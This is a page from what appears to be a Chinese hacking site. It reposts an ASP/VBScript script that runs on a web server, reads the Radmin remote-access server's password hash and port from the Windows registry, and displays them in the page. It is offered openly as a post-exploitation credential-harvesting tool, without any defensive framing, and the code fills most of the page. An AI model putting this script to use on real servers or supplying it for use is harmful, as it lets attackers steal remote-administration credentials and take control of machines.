华域联盟 vbs vbs 获取radmin注册表中的信息

vbs 获取radmin注册表中的信息

<%

'========================================Main======================================

Set WSH= Server.CreateObject("Wscript.shell")

RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"

Parameter="Parameter"

Port = "Port"

ParameterArray=WSH.Regread(RadminPath & Parameter )

Response.write "The Result of Radmin Hash"

Response.write "<br><br>"

Response.write Parameter&":"

'=========== ReadPassWord =========

If IsArray(ParameterArray) Then

For i = 0 To UBound(ParameterArray)

If   Len (hex(ParameterArray(i)))=1 Then 

strObj = strObj & "0" & CStr(Hex(ParameterArray(i)))

Else

strObj = strObj & Hex(ParameterArray(i))

End If 

Next

response.write Lcase(strobj)

Else

response.write "Error! Can't Read!"

End If

Response.write "<br><br>"

'=========== ReadPort =========

PortArray=WSH.REGREAD(RadminPath & Port )

If IsArray(PortArray) Then 

Response.write Port &":" 

Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))

Else 

Response.write "Error! Can't Read!"

End If

'=============hex TO int==========

Function hextointer(strin) 

Dim i, j, k, result 

result = 0 

For i = 1 To Len(strin) 

If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then 

j = 15 

End If 

If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then 

j = 14 

End If 

If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then 

j = 13 

End If 

If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then 

j = 12 

End If 

If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then 

j = 11 

End If 

If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then 

j = 10 

End If 

If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then 

j = CInt(Mid(strin, i, 1)) 

End If 

For k = 1 To Len(strin) - i 

j = j * 16 

Next 

result = result + j 

Next 

hextointer = result 

End Function

'================ End ==========

%>

本文由 华域联盟 原创撰写:华域联盟 » vbs 获取radmin注册表中的信息

转载请保留出处和原文链接:https://www.cnhackhy.com/15337.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部